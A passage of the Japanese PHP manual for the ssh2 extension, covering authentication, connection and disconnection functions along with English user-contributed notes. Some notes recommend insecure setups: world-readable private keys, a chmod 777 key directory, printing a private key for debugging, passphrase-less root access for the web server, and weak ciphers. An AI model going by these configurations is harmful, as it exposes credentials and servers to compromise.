Good luck... hope that saves you my headache! :)
dotwho at NSPM dot mac dot com 04-Oct-2005 03:12
Trying to compile this ssh PECL extension for Mac OS X (10.4.2)
with entropy.ch's php5 distribution? Read on: PART 1:
1) Download libssh (I used version 0.11)
http://sourceforge.net/project/showfiles.php?group_id=125852
2) Unzip the directory and cd to the upacked directory in the terminal.
3) run: ./configure; make all install;
libssh should compile and place the output file in src/*.o
4) copy all headers from the include folder within the libssh2 directory to
/usr/local/include/
5) copy all compiled files (*.o) from the src folder within the libssh2
directory to /usr/local/lib/
6) Download ssh2
(I used version 0.9 with additional changes from cvs - explained below)
http://pecl.php.net/package/ssh2
7) unzip the downloaded archive.
8) version 0.9 has a conflict with an existing symbol used in some of the ZEND headers...
a change is available in cvs which renames the symbol in ssh2 to avoid the conflict
http://cvs.php.net/diff.php/pecl/ssh2/ssh2.c?r1=1.9&r2=1.10&ty=h
down load at least the 1.10 version of ssh2.c
if you decide to download a newer version, download any of the corresponding related files,
such as the php_ssh2.h header file.
9) replace the old version of ssh2.c with the new version of ssh2.c
(and any other files you downloaded).
10) From the terminal:
cd to the source directory (for me ssh2-0.9/ssh2-0.9/).

(Continued in a PART 2 comment)


SSH の認証を、ssh agent を使って行う

  • ≪ SSH2 関数
  • ssh2_auth_hostbased_file ≫
  • PHP Manual
  • SSH2 関数
  • SSH の認証を、ssh agent を使って行う

ssh2_auth_agent

(PECL ssh2 >= 0.12)

ssh2_auth_agent — SSH の認証を、ssh agent を使って行う

説明

ssh2_auth_agent ( resource $session , string $username ) : bool

SSH の認証を、ssh agent を使って行います。

注意: ssh2_auth_agent() 関数が使えるのは、 ssh2 拡張モジュールのコンパイルに libssh >= 1.2.3 を使った場合だけです。

パラメータ

session

SSH 接続リンク ID。 ssh2_connect() を呼んで取得したもの。

username

リモートのユーザー名。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 ssh agent による認証

<?php
$connection = ssh2_connect('shell.example.com', 22);

if (ssh2_auth_agent($connection, 'username')) {
  echo "Authentication Successful!\n";
} else {
  die('Authentication Failed...');
}
?>

User Contributed Notes

There are no user contributed notes for this page.


ホスト公開鍵を使用して認証を行う

  • ≪ ssh2_auth_agent
  • ssh2_auth_none ≫
  • PHP Manual
  • SSH2 関数
  • ホスト公開鍵を使用して認証を行う

ssh2_auth_hostbased_file

(PECL ssh2 >= 0.9.0)

ssh2_auth_hostbased_file — ホスト公開鍵を使用して認証を行う

説明

ssh2_auth_hostbased_file ( resource $session , string $username , string $hostname , string $pubkeyfile , string $privkeyfile , string $passphrase = ? , string $local_username = ? ) : bool

ファイルから読み込まれたホスト公開鍵を使用して認証を行います。

パラメータ

session

ssh2_connect() のコールによって取得した SSH 接続リンク ID。

username

hostname

pubkeyfile

privkeyfile

passphrase

もし privkeyfile が暗号化されている (そのはずです) 場合、パスフレーズを渡す必要があります。

local_username

もし local_username を省略した場合、 username の値を使用します。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 ホスト公開鍵を使用した認証

<?php
$connection = ssh2_connect('shell.example.com', 22, array('hostkey'=>'ssh-rsa'));

if (ssh2_auth_hostbased_file($connection, 'remoteusername', 'myhost.example.com',
                             '/usr/local/etc/hostkey_rsa.pub',
                             '/usr/local/etc/hostkey_rsa', 'secret',
                             'localusername')) {
  echo "Public Key Hostbased Authentication Successful\n";
} else {
  die('Public Key Hostbased Authentication Failed');
}
?>

注意

注意:

ssh2_auth_hostbased_file() には libssh2 >= 0.7 と PHP/SSH2 >= 0.7 が必要です。

User Contributed Notes

There are no user contributed notes for this page.


"none" として認証する

  • ≪ ssh2_auth_hostbased_file
  • ssh2_auth_password ≫
  • PHP Manual
  • SSH2 関数
  • "none" として認証する

ssh2_auth_none

(PECL ssh2 >= 0.9.0)

ssh2_auth_none — "none" として認証する

説明

ssh2_auth_none ( resource $session , string $username ) : mixed

通常失敗する（そしてそうあるべき）"none" 認証を試みます。 失敗の一環として、サーバーは可能な認証メソッドの一覧を返します。

パラメータ

session

ssh2_connect() のコールによって取得した SSH 接続リンク ID。

username

リモートのユーザー名。

返り値

もしサーバーが username に対する認証メソッドとして "none" を受け入れる場合、この関数は単純に true を返します。

例

例1 認証メソッドの一覧の取得

<?php
$connection = ssh2_connect('shell.example.com', 22);

$auth_methods = ssh2_auth_none($connection, 'user');

if (in_array('password', $auth_methods)) {
  echo "Server supports password based authentication\n";
}
?>

User Contributed Notes

There are no user contributed notes for this page.


SSH 上でプレーンなパスワードを使用した認証を行う

  • ≪ ssh2_auth_none
  • ssh2_auth_pubkey_file ≫
  • PHP Manual
  • SSH2 関数
  • SSH 上でプレーンなパスワードを使用した認証を行う

ssh2_auth_password

(PECL ssh2 >= 0.9.0)

ssh2_auth_password — SSH 上でプレーンなパスワードを使用した認証を行う

説明

ssh2_auth_password ( resource $session , string $username , string $password ) : bool

SSH 上でプレーンなパスワードを使用した認証を行います。 バージョン 0.12 以降、この関数は keyboard_interactive 方式にも対応するようになりました。

パラメータ

session

ssh2_connect() のコールによって取得した SSH 接続リンク ID。

username

リモートのユーザー名。

password

username のパスワード。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 パスワードを用いた認証

<?php
$connection = ssh2_connect('shell.example.com', 22);

if (ssh2_auth_password($connection, 'username', 'secret')) {
  echo "Authentication Successful!\n";
} else {
  die('Authentication Failed...');
}
?>

User Contributed Notes

sgchris at gmail dot com 29-Jun-2015 11:00
Please note that the function ssh2_auth_password raises PHP warning(!) on bad authentication. To avoid the warning, use the "silence" ("@") operator.

<?php
$ssh = ssh2_connect($host);
if (false === $ssh) {
    die('connection failed');
}

$auth = @ssh2_auth_password($ssh, $user, $password);
if (false === $auth) {
    die('authentication failed');
}
?>
wally at soggysoftware dot co dot uk 11-Apr-2007 03:09
This function is useful for authenticating website clients against local (or remote) Unix users.

I'd played around with Apache+PAM, various mod_auths and homebrewed shell programs and even NIS, but to authenticate a user against a Unix shadow file fundamentally requires root priviledges, so either your PHP script needs root or an external program needs it's sticky bit set.  Both of these have *serious* security implications.

Using SSH, the overhead is obviously going to be greater but you're trusting a root service that's been (and continues to be) really well tested.  Just try authing with SSH against localhost (or another host if you want).
noels01 at gmx dot net 29-Aug-2005 05:56
Do not try to authenticate or log in more than once on a ssh2 connection. It won't work. You'll need a new connection via ssh2_connect() which will result in a poor performance if you're doing several connects to the same server.


公開鍵を使用した認証を行う

  • ≪ ssh2_auth_password
  • ssh2_connect ≫
  • PHP Manual
  • SSH2 関数
  • 公開鍵を使用した認証を行う

ssh2_auth_pubkey_file

(PECL ssh2 >= 0.9.0)

ssh2_auth_pubkey_file — 公開鍵を使用した認証を行う

説明

ssh2_auth_pubkey_file ( resource $session , string $username , string $pubkeyfile , string $privkeyfile , string $passphrase = ? ) : bool

ファイルから読み込んだ公開鍵を使用した認証を行います。

パラメータ

session

ssh2_connect() のコールによって取得した SSH 接続リンク ID。

username

pubkeyfile

公開鍵ファイル。OpenSSH 形式で表す必要があり、たとえば次のようになります。

ssh-rsa AAAAB3NzaC1yc2EAAA....NX6sqSnHA8= rsa-key-20121110

privkeyfile

passphrase

もし、privkeyfile が暗号化されている (そうあるべきです) 場合、パスフレーズも引数に渡す必要があります。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 公開鍵を用いた認証

<?php
$connection = ssh2_connect('shell.example.com', 22, array('hostkey'=>'ssh-rsa'));

if (ssh2_auth_pubkey_file($connection, 'username',
                          '/home/username/.ssh/id_rsa.pub',
                          '/home/username/.ssh/id_rsa', 'secret')) {
  echo "Public Key Authentication Successful\n";
} else {
  die('Public Key Authentication Failed');
}
?>

注意

注意:

この関数が使っている libssh ライブラリは、部分的な認証のサポートがうまくできません。 公開鍵とパスワードの両方が必要な場合に、まるで関数が失敗したかのように見えてしまいます。 この場合の関数呼び出しの失敗は、単に認証がまだ完了していないということを表しているにすぎません。 この呼び出し失敗は無視し、続けて ssh2_auth_password() を呼ばなければ認証は完了しません。

User Contributed Notes

Christophe 02-Dec-2020 12:31
Users should be aware of bug 78661 https://bugs.php.net/bug.php?id=78661

As of december 2020, on some Linux distro, (debian 10 and ubuntu 20.04 at least), although the ssh daemon will accept the connection, the function ssh2_auth_pubkey_file stubbornly reports an error.

It took me hours to realise that my code was correct, but the function buggy. If you are hit by this bug, you may try https://www.php.net/ssh2_auth_password instead... If applicable.
miloslav dot hula at gmail dot com 30-Apr-2020 07:32
If you have a problem with an RSA key, check that private key file contents starts with:

-----BEGIN RSA PRIVATE KEY-----

and not with:

-----BEGIN OPENSSH PRIVATE KEY-----

The first one can be created by:

ssh-keygen -m PEM -t rsa -f mykey
mrpetovan at gmail dot com 22-Mar-2016 02:24
Beware of the tilde (~) in the key file paths, as they will trigger the following warning (on a debug build):

PHP Warning:  String is not zero-terminated (ZZZZZZZZZZZZZZZZZZ1wjj*=?<) (source: Zend/zend_execute.h:81) in Unknown on line 0

although the authentication will suceed.

<?php
    $ssh_conn = ssh2_connect('test.host.com', 22, array('hostkey' => 'ssh-rsa'));
    ssh2_auth_pubkey_file($ssh_conn, 'user', '~/.ssh/id_rsa.pub', '~/.ssh/id_rsa')
 ?>

The above code will throw the Warning.

<?php
    $ssh_conn = ssh2_connect('test.host.com', 22, array('hostkey' => 'ssh-rsa'));
    ssh2_auth_pubkey_file($ssh_conn, 'user', '/home/user/.ssh/id_rsa.pub', '/home/user/.ssh/id_rsa')
 ?>

The above code won't.

If you want to perform a dynamic replacement of the tilde, you can use posix_getpwuid (http://php.net/manual/en/function.posix-getpwuid.php)
nerak-spelled-backwards at modo dot coop 10-Jan-2013 05:49
This function has a known bug (https://bugs.php.net/bug.php?id=58573) under some Linux installations: you can't encrypt your private key if you've compiled libssh2 using libgcrypt.  According to the bug page, the solution is to rebuild libssh2 with OpenSSL.  (Or don't encrypt your private key, but that seems irresponsible somehow.)

This isn't a bug report -- the bug is apparently already being fixed -- but a note for others, because it took me at least an hour of Googling to realize the problem wasn't with my own code.
christian at cvj dot se 03-Jan-2012 04:21
On my linux debian server running php communicating with another linux debian server I had problems getting rsa to work. dsa worked out of the box. I got it to work by doing the following in terminal

* ssh-keygen -t rsa
.... PUBFILE
* ssh-keygen -f PUBFILE -e
OUTPUT

id_rsa.pub =
ssh-rsa OUTPUT [COMMENT]
max 16-Sep-2011 04:37
Well, you have to format the publickey with the following command:

# ssh-keygen -f id_rsa.pub -i
Output: "ssh-rsa <YOURKEYDATA>"

That worked fine for me.
anjo2 11-May-2011 08:49
rsa keys may don't work, using dsa keys are more compatible

Linux:
ssh-keygen -t dsa
cat ~/.ssh/id_dsa.pub >> ~/.ssh/authorized_keys
chmod 700 ~/.ssh/
chmod -R 600 ~/.ssh/*

PHP:
<?php
    $methods = array(
    'kex' => 'diffie-hellman-group1-sha1',
    'hostkey' => 'ssh-dss',
    'client_to_server' => array(
    'crypt' => '3des-cbc',
    'mac' => 'hmac-md5',
    'comp' => 'none'),
    'server_to_client' => array(
    'crypt' => '3des-cbc',
    'mac' => 'hmac-md5',
    'comp' => 'none'));
    $connect = ssh2_connect('127.0.0.1', 22, $methods);
    if(ssh2_auth_pubkey_file($connect, 'username', '~/.ssh/id_dsa.pub', '~/.ssh/id_dsa'))
    {
        echo "Public Key Authentication Successful\n";
    }
    else
    {
        echo "Public Key Authentication Failed\n";
    }
?>
deepakssn@gmailcom 19-May-2010 04:12
Setting up public key authentication:

1.  Login to the unix server you want to connect using putty.
2.  mkdir .ssh (there is a dot before ssh)
3.  cd .ssh
4.  ssh-keygen -t rsa mykey
5.  Enter passphrase as test
6.  ls -al -> you will find two files mykey , mykey.pub
7.  cat mykey.pub >>authorized_keys
8.  cat mykey
9.  Copy what you get on screen to notepad and save it as "c:\mykey" (within quotes)
10.  cat mykey.pub
11.  Copy what you get on screen to notepad and save it as "c:\mykey.pub" (within quotes)

<?php

function my_ssh_disconnect($reason, $message, $language)
{
  printf("Server disconnected with reason code [%d] and message: %s\n", $reason, $message);
}

//Open a connection forcing 3des-cbc when sending packets, any strength aes cipher when receiving packets, no compression in either direction, and Group1 key exchange.
$methods = array(
  'kex' => 'diffie-hellman-group1-sha1',
  'client_to_server' => array(
   'crypt' => 'aes256-cbc',
   'comp' => 'none',
   'mac' => 'hmac-sha1'),
  'server_to_client' => array(
   'crypt' => 'aes256-cbc',
   'comp' => 'none',
   'mac' => 'hmac-sha1'));

$callbacks = array('disconnect' => 'my_ssh_disconnect');

      // Function to run a command on the unix server

      function run_cmd($ssh_host, $user_name, $keyfilename, $ssh_command)
      {
          $connection = ssh2_connect($ssh_host, 22, $methods, $callbacks);
          if (!$connection) die('Connection failed');
          if (ssh2_auth_pubkey_file($connection, $user_name, $keyfilename.".pub", $keyfilename, 'test'))
          {
            echo "Public Key Authentication Successful as user: $user_name";
          }
          else
          {
            die('Public Key Authentication Failed');
          }

          $stream = ssh2_exec($connection, $ssh_command);
          $i=0;
          stream_set_blocking($stream, true);
          $line = stream_get_line($stream, 1024, "\n");
          while (!feof($stream))
          {
                  echo $line.' ';
                  $line = stream_get_line($stream, 1024, "\n");
                  $i++;
          }
          echo "Count : ".$i;
          flush();
          unset($stream);
      }

      function my_ssh_disconnect($reason, $message, $language)
      {
            printf("Server disconnected with reason code [%d] and message: %s\n",
            $reason, $message);
      }

      // Main Code

      $user_name = "USERID";
      $keydir = "c:\\";
      $search_string = 'needle';
      $keyfilename= $keydir.'mykey';
      $ssh_host = "foo.bar.com";
      $ssh_command = 'grep "'.$search_string.'" /haystack/*.log';
      run_cmd($ssh_host, $user_name, $keyfilename, $ssh_command);

      $ssh_command = 'ls -al';
      run_cmd($ssh_host, $user_name, $keyfilename, $ssh_command);
?>
gramo dot gnu at gmail dot com 29-Oct-2009 03:26
I had an anoyiing problem with this function, everytime I tried to make it run it responds with an

Authentication failed for <user> using public key

but when I try directly to connect to the server using
ssh <user>@<domain>
Things works fine...

After lots of intents I realize that local files were read protected from user apache (they were stored at /home/<user>/.ssh directory)

So, if you also have this problem, just make a new directory into a place where apache can read and place there the keys.

The whole thing I do is as follows (Linux & Apache both server and client):

First I create a directory where apache can read

mkdir ~/.newssh_keys
chmod 777 ~/.newssh_keys

(This is a security issue, so maybe you need to realize how to make it safer.)

Then I create keys into local server choosing ~/.newssh_keys/id_dsa as the file to save the key:

ssh-keygen -t dsa
...
Enter file in which to save the key (/home/<user>/.ssh/id_dsa): ~/.newssh_keys/id_dsa
...

Then I have to change permissions to private key
(This is a security issue, so maybe you need to realize how to make it safer.)

chmod 644 ~/.newssh_keys/id_dsa

I copy the public key into the server's .ssh directory
client$ scp id_dsa.pub <remoteuser>@<server_domain>:~/.ssh/

and then I connect myself to the server using traditional ssh in order to append the public key at the end of authorized_keys2 file

server$ cat ~/.ssh/id_dsa.pub >> ~/.ssh/authorized_keys2

and remove the public key in order to be clean
server$ rm ~/.ssh/id_dsa.pub

Finally I use this code into my php script

<?php
// This in order to be sure apache can read public key
// (remove this after debug)
$pub_key = file_get_contents('~/.newssh_keys/id_dsa.pub');
print "<pre>";
var_export($pub_key);
print "</pre>";

// This in order to check private one
// (remove this after debug)
$prv_key = file_get_contents('~/.newssh_keys/id_dsa');
print "<pre>";
var_export($prv_key);
print "</pre>";

// Finally the connection code
$connection = ssh2_connect('<server_domain>', 22, array('hostkey', 'ssh-dss'));
if (ssh2_auth_pubkey_file($connection, '<server_user>',
                          '~/.newssh_keys/id_dsa.pub',
                          '~/.newssh_keys/id_dsa')) {
  echo "Public Key Authentication Successful\n";
} else {
  echo "Public Key Authentication Failed";
}
?>
tekiedude at gmail dot com 31-Jul-2007 01:45
This is probably incredibly insecure but if you are in a closed environment, you can run it at your own risk.

I was trying to get ssh access from server A to server B but server A was running apache as 'apache' and
I needed files on server B that were owned by root. So I needed some way for the apache user to connect
to server B as root.  Here's what I did (both servers running linux - specifically CentOS4):

1. ssh-keygen -t rsa -f id_rsa  generate with no passphrase
2. append the id_rsa.pub file to server B /root/.ssh/authorized_keys2
3. copy the id_rsa and id_rsa.pub files to a directory like /var/www/.ssh/
(happens to be apache's home dir on CentOS)
4. chown -R apache.apache /var/www/.ssh

Then you can connect like this:
$connection = ssh2_connect($server,22,array('hostkey'=>'ssh-rsa'));
if (ssh2_auth_pubkey_file($connection,'root',
'/var/www/.ssh/id_rsa.pub',
'/var/www/.ssh/id_rsa')) {
echo "success!";
}
else
{
echo "no success :-(";
}


SSH サーバーに接続する

  • ≪ ssh2_auth_pubkey_file
  • ssh2_disconnect ≫
  • PHP Manual
  • SSH2 関数
  • SSH サーバーに接続する

ssh2_connect

(PECL ssh2 >= 0.9.0)

ssh2_connect — SSH サーバーに接続する

説明

ssh2_connect ( string $host , int $port = 22 , array $methods = ? , array $callbacks = ? ) : resource

リモートの SSH サーバーとの接続を確立します。

一度接続すると、クライアントは ssh2_fingerprint() を使用してサーバーのホスト鍵を検証し、 パスワードもしくは公開鍵を使用して認証します。

パラメータ

host

port

methods

methods は以下に示された4つのパラメータを持つ連想配列です。

methods は以下のパラメータのいくつかあるいは全てを含む連想配列
インデックス | 意味 | サポートする値*
kex | 通知する鍵交換メソッドのリスト。優先する順にカンマ区切りにする。 | diffie-hellman-group1-sha1、 diffie-hellman-group14-sha1 および diffie-hellman-group-exchange-sha1
hostkey | 通知するホスト鍵メソッドのリスト。優先する順にカンマ区切りにする。 | ssh-rsa および ssh-dss
client_to_server | クライアントからサーバーに送信されるメッセージのために優先する暗号化、 圧縮、メッセージ認証コード (MAC) メソッドを含む連想配列。
server_to_client | サーバーからクライアントに送信されるメッセージのために優先する暗号化、 圧縮、メッセージ認証コード (MAC) メソッドを含む連想配列。

* - サポートする値は、 構成するライブラリがサポートしているメソッドに依存します。 追加情報については » libssh2 ドキュメントを参照ください。

client_to_server と server_to_client は以下のパラメータのいくつかあるいは全てを含む連想配列
インデックス | 意味 | サポートする値*
crypt | 通知する暗号化メソッドのリスト。 優先する順にカンマ区切りにする。 | rijndael-cbc@lysator.liu.se、 aes256-cbc、 aes192-cbc、 aes128-cbc、 3des-cbc、 blowfish-cbc、 cast128-cbc、 arcfour および none**
comp | 通知する圧縮メソッドのリスト。 優先する順にカンマ区切りにする。 | zlib および none
mac | 通知する MAC メソッドのリスト。 優先する順にカンマ区切りにする。 | hmac-sha1、 hmac-sha1-96、 hmac-ripemd160、 hmac-ripemd160@openssh.com および none**

注意: 暗号化、MAC メソッドの "none"

セキュリティ上の問題で、none は ビルド時に適切な ./configure オプションを使用して明示的に有効にしない限り、構成している » libssh2 によって無効にされます。 詳細は構成するライブラリのドキュメントを参照ください。

callbacks

callbacks は以下のパラメータのいくつかあるいは全てを含む連想配列

コールバックパラメータ
インデックス | 意味 | プロトタイプ
ignore | SSH2_MSG_IGNORE パケットを受信したときにコールする関数名 | void ignore_cb($message)
debug | SSH2_MSG_DEBUG パケットを受信したときにコールする関数名 | void debug_cb($message, $language, $always_display)
macerror | パケットを受信したがメッセージ認証コードに失敗した場合にコールされる関数名。 もしコールバックが true を返す場合、不整合は無視されます。 そうでない場合、接続は終了します。 | bool macerror_cb($packet)
disconnect | SSH2_MSG_DISCONNECT パケットを受信したときにコールする関数名 | void disconnect_cb($reason, $message, $language)

返り値

成功した場合にリソース、エラー時に false を返します。

例

例1 ssh2_connect() の例

パケット送信時に 3des-cbc 、 パケット受信時に任意の強度の aes cipher、 両方向で無圧縮、 Group1 での鍵交換という設定で強制的に接続をオープンします。

<?php
/* もしサーバーが接続を終了した場合、ユーザーに通知する */
function my_ssh_disconnect($reason, $message, $language) {
  printf("Server disconnected with reason code [%d] and message: %s\n",
         $reason, $message);
}

$methods = array(
  'kex' => 'diffie-hellman-group1-sha1',
  'client_to_server' => array(
    'crypt' => '3des-cbc',
    'comp' => 'none'),
  'server_to_client' => array(
    'crypt' => 'aes256-cbc,aes192-cbc,aes128-cbc',
    'comp' => 'none'));

$callbacks = array('disconnect' => 'my_ssh_disconnect');

$connection = ssh2_connect('shell.example.com', 22, $methods, $callbacks);
if (!$connection) die('Connection failed');
?>

参考

  • ssh2_fingerprint() - リモートサーバーのフィンガープリントを処理する
  • ssh2_auth_none() - "none" として認証する
  • ssh2_auth_password() - SSH 上でプレーンなパスワードを使用した認証を行う
  • ssh2_auth_pubkey_file() - 公開鍵を使用した認証を行う
  • ssh2_disconnect() - Close a connection to a remote SSH server

User Contributed Notes

jrdbrndt at gmail dot com 13-Feb-2020 03:40
Trying to include "aes256-cbc" in the encryption methods list caused an error. The documentation here may be out of date, and you might find a more accurate list of what values are acceptable by checking the libssh2 documentation at libssh2.org.
christophermjgray at gmail dot com 02-Dec-2017 10:01
This page is out of date.  Any of the SHA-1 in the Key Exchange Methods in the kex section should be discarded, due to Logjam (https://weakdh.org/logjam.html).  If you continue to use them, connects will result in the following warning:
"Warning: ssh2_connect(): Error starting up SSH connection(-5): Unable to exchange encryption keys in ..."

The following is an example of what works.  Also by removing the 'hex' section all together, results in libssl (https://libssh2.org/) falling back to discovering which is the strongest cipher to authenticate with.

<?php

if (!function_exists("ssh2_connect")) die("function ssh2_connect doesn't exist");

function ssh2_debug($message, $language, $always_display) {
   printf("%s %s %s\n",$message,$language,$always_display);
}

/* Notify the user if the server terminates the connection */
function my_ssh_disconnect($reason, $message, $language) {
  printf("Server disconnected with reason code [%d] and message: %s\n", $reason, $message);
}

$methods = array(
    'hostkey'=>'ssh-rsa,ssh-dss',
//    'kex' => 'diffie-hellman-group-exchange-sha256',
    'client_to_server' => array(
        'crypt' => 'aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc',
        'comp' => 'none'),
    'server_to_client' => array(
        'crypt' => 'aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc',
        'comp' => 'none'));

$callbacks = array('disconnect' => 'my_ssh_disconnect');

foreach (array('192.168.1.1') as $host) {
  $connection = ssh2_connect($host, 22, $methods, $callbacks);
  if (!$connection) die("Connection failed:");

  ssh2_auth_password($connection, 'user', 'my_password') or die("Unable to authenticate");
  $stream = ssh2_exec($connection, 'free -m');
  stream_set_blocking($stream, true);
  $stream_out = ssh2_fetch_stream($stream, SSH2_STREAM_STDIO);
  echo stream_get_contents($stream_out);
}

?>
thessoro at gmail dot com 04-Feb-2015 07:38
Be careful when providing a specific hostkey order.

<?php
ssh2_connect('IP', 'port', array('hostkey'=>'ssh-rsa, ssh-dss'));
?>

Will only work when the public key of the server is RSA, and not DSA also as expected. This is caused by the empty space before the "ssh-dss".

So a similar code:

<?php
ssh2_connect('IP', 'port',   array('hostkey'=>'ssh-rsa,ssh-dss'));
?>

Will work. The HOSTKEY method is overriden using exactly what you write, so no empty spaces are allowed.

This took me some time that you could save ;)
rainerkrauss at googlemail dot com 08-Jun-2014 11:00
Warning! If you open a ssh connection and execute an external program opening another ssh connection it may result in very strange behavior.

I used an sftp connection to get a file list and used "exec" to download the files afterwards with an external sftp. lftp downloaded zeros with no comment, psftp exits with error code 11 most of the time, but sometimes it works - probably depending on how quickly php collects garbage and closes the unused connection first.

As there is no function to close a connection, you need to be sure to destroy all references (unset) to close it.
Trev White 26-Jul-2013 09:20
Hi,
If you are having problems with running a ssh2 session and it waits forever during the execution of stream_get_contents, it might be because the remote system has run the command and is now sitting at a # prompt waiting for the next command.  I had this issue on a HP MSA box, here is the code to get around the issue.

Assuming you are connected with your authentication method and $ssh contains the handle.

<?php
$command = "check disk";
// Open a nice large window to stop wrapping
$stream = ssh2_shell ($ssh, 'xterm', null, 200, 200, SSH2_TERM_UNIT_CHARS);

// Hook into the error stream
$errorStream = ssh2_fetch_stream($stream, SSH2_STREAM_STDERR);

// Block the streams so we wait until they complete
stream_set_blocking ($stream, true);
stream_set_blocking($errorStream, true);

// Send the commands to the terminal
fwrite ($stream, $command . PHP_EOL );

// Wait give the terminal a chance to accept and start processing the command, this is a slow storage device after all
sleep(2);

// IMPORTANT BIT!!  Send exit to the terminal to close the connection BEFORE WE WAIT FOR THE STREAM
fwrite ($stream, "exit" . PHP_EOL );
sleep (2);

// Print the output
echo stream_get_contents($stream);
$errortext=stream_get_contents($errorStream);

if (strlen($errortext) > 0) {
          // Error Data
         echo "Error Data: $errortext";
         exit (1);
}

// All Good
exit (0);

?>

You can't use ssh2_exec with this method (well at lease I couldn't) because on executing the first command the stream gets blocked and then you can't run the exit command, whereas a terminal seems to use one session.

I hope this helps someone.
Steve Kamerman 05-Jul-2011 03:06
Due to a lack of complete examples, here's a simple SSH2 class for connecting to a server, authenticating with public key authentication, verifying the server's fingerprint, issuing commands and reading their STDOUT and properly disconnecting.  Note: You may need to make sure you commands produce output so the response can be pulled.  Some people suggest that the command is not executed until you pull the response back.
<?php
class NiceSSH {
    // SSH Host
    private $ssh_host = 'myserver.example.com';
    // SSH Port
    private $ssh_port = 22;
    // SSH Server Fingerprint
    private $ssh_server_fp = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx';
    // SSH Username
    private $ssh_auth_user = 'username';
    // SSH Public Key File
    private $ssh_auth_pub = '/home/username/.ssh/id_rsa.pub';
    // SSH Private Key File
    private $ssh_auth_priv = '/home/username/.ssh/id_rsa';
    // SSH Private Key Passphrase (null == no passphrase)
    private $ssh_auth_pass;
    // SSH Connection
    private $connection;

    public function connect() {
        if (!($this->connection = ssh2_connect($this->ssh_host, $this->ssh_port))) {
            throw new Exception('Cannot connect to server');
        }
        $fingerprint = ssh2_fingerprint($this->connection, SSH2_FINGERPRINT_MD5 | SSH2_FINGERPRINT_HEX);
        if (strcmp($this->ssh_server_fp, $fingerprint) !== 0) {
            throw new Exception('Unable to verify server identity!');
        }
        if (!ssh2_auth_pubkey_file($this->connection, $this->ssh_auth_user, $this->ssh_auth_pub, $this->ssh_auth_priv, $this->ssh_auth_pass)) {
            throw new Exception('Autentication rejected by server');
        }
    }
    public function exec($cmd) {
        if (!($stream = ssh2_exec($this->connection, $cmd))) {
            throw new Exception('SSH command failed');
        }
        stream_set_blocking($stream, true);
        $data = "";
        while ($buf = fread($stream, 4096)) {
            $data .= $buf;
        }
        fclose($stream);
        return $data;
    }
    public function disconnect() {
        $this->exec('echo "EXITING" && exit;');
        $this->connection = null;
    }
    public function __destruct() {
        $this->disconnect();
    }
}
?>

[EDIT BY danbrown AT php DOT net: Contains two bugfixes suggested by 'AlainC' in user note #109185 (removed) on 26-JUN-2012.]
suri dot suribala dot com 24-Feb-2005 05:00
With Sara's help, I have the following SS2 class that is quite flexible. If anyone improves it, please feel free to let me know.

<?php

// ssh protocols
// note: once openShell method is used, cmdExec does not work

class ssh2 {

  private $host = 'host';
  private $user = 'user';
  private $port = '22';
  private $password = 'password';
  private $con = null;
  private $shell_type = 'xterm';
  private $shell = null;
  private $log = '';

  function __construct($host='', $port=''  ) {

     if( $host!='' ) $this->host  = $host;
     if( $port!='' ) $this->port  = $port;

     $this->con  = ssh2_connect($this->host, $this->port);
     if( !$this->con ) {
       $this->log .= "Connection failed !";
     }

  }

  function authPassword( $user = '', $password = '' ) {

     if( $user!='' ) $this->user  = $user;
     if( $password!='' ) $this->password  = $password;

     if( !ssh2_auth_password( $this->con, $this->user, $this->password ) ) {
       $this->log .= "Authorization failed !";
     }

  }

  function openShell( $shell_type = '' ) {

        if ( $shell_type != '' ) $this->shell_type = $shell_type;
    $this->shell = ssh2_shell( $this->con,  $this->shell_type );
    if( !$this->shell ) $this->log .= " Shell connection failed !";

  }

  function writeShell( $command = '' ) {

    fwrite($this->shell, $command."\n");

  }

  function cmdExec( ) {

        $argc = func_num_args();
        $argv = func_get_args();

    $cmd = '';
    for( $i=0; $i<$argc ; $i++) {
        if( $i != ($argc-1) ) {
          $cmd .= $argv[$i]." && ";
        }else{
          $cmd .= $argv[$i];
        }
    }
    echo $cmd;

        $stream = ssh2_exec( $this->con, $cmd );
    stream_set_blocking( $stream, true );
    return fread( $stream, 4096 );

  }

  function getLog() {

     return $this->log;

  }

}

?>


Close a connection to a remote SSH server

  • ≪ ssh2_connect
  • ssh2_exec ≫
  • PHP Manual
  • SSH2 関数
  • Close a connection to a remote SSH server

ssh2_disconnect

(PECL ssh2 >= 1.0)

ssh2_disconnect — Close a connection to a remote SSH server

説明

ssh2_disconnect ( resource $session ) : bool

Close a connection to a remote SSH server.

パラメータ

session

An SSH connection link identifier, obtained from a call to ssh2_connect().

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ssh2_connect() - SSH サーバーに接続する

User Contributed Notes

Anton Farber 05-Sep-2020 07:57
This function worked fine as long as I didn't use any ssh2_sftp* stuff. As soon as I did, the connection (from my webserver to my browser) was closed without any warning/error in any of the logfiles. So, this won't work

<?php
// ssh2_connect and ssh2_auth etc...
$sftp = ssh2_sftp($connection);
ssh2_disconnect(); // Causes the connection to be reset
?>

while this works

<?php
// ssh2_connect and ssh2_auth etc...
$sftp = ssh2_sftp($connection);
$connection = null; unset($connection);
?>
Cavallo 10-Dec-2018 10:07
ssh2_disconnect(...) requires at least PHP 7 (as it requires PECL ssh2 >= 1.0, which the PECL documentation on https://pecl.php.net/package/ssh2 states: "ssh2 1.0 and above is PHP 7 only").

For PHP 5.x similar functionality, try setting the ssh2_connect session variable to null, or unsetting it completely - this should allow PHP's garbage collection close the connection.

Example:

$session=ssh2_connect(...); // open connection
// code here to use connection
$session = null; unset($session); // close connection


リモートサーバー上でコマンドを実行する

  • ≪ ssh2_disconnect
  • ssh2_fetch_stream ≫
  • PHP Manual
  • SSH2 関数
  • リモートサーバー上でコマンドを実行する

ssh2_exec

(PECL ssh2 >= 0.9.0)

ssh2_exec — リモートサーバー上でコマンドを実行する

説明

